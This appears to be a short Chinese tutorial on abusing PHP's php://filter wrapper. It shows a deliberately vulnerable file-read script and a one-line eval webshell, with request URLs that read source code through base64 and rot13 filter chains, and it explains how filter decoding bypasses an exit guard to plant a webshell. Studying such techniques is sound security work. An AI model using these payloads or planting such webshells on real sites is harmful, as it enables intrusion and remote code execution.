php://filter/php array,filter
简介
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter可以很容易想到这个协议可以用来过滤一些东西。
使用不同的参数可以达到不同的目的和效果:
名称
描述
备注
resource=<要过滤的数据流>
指定了你要筛选过滤的数据流。
必选
read=<读链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。
可选
write=<写链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。
可选
<;两个链的筛选列表>
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
举例1
test.php
<?phpecho file_get_contents($_GET['file']);
?>
one.php
<?php @eval($_POST['cmd']);?>http://localhost/test.php?file=php://filter/read=convert.base64-encode/resource=one.php base64解码之后,就是one.php的代码。
还可以都改为大写:
http://localhost/test.php?file=php://filter/read=convert.base64-encode|string.toupper/resource=one.php 再rot13加密
// CQ9JNUNTDTI2LJJBWS9DG1AHJLQWOJDAKFX7CM4=
举例2
<?php$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
这里的$content在开头增加了exit,使得我们即使可以成功写入一句话,也无法执行。
我们通过php://filter巧妙绕过这里的限制
那么<?php exit;?>这一部分在经过解码后,php不对其解析,而我们想要写入的一句话正好被成功解码。因此得以成功上传webshell。
libbpf template: 简化 eBPF 开发与高效编程的终极指南
PHP配置指令作用域说明(PHP,INI,PERDIR、PHP,INI,SYSTEM、PHP,INI,USER、PHP,INI,ALL)php 作用域
PHP之——在WAMPSERVER下增加多版本的PHP(PHP5.3,PHP5.4,PHP5.5)支持。wampserver打开php项目
PHP之——在WAMPSERVER下增加多版本的PHP(PHP5.3,PHP5.4,PHP5.5)支持。wampserver开发php网页
66.(php) PHP strpos() 函数php strpos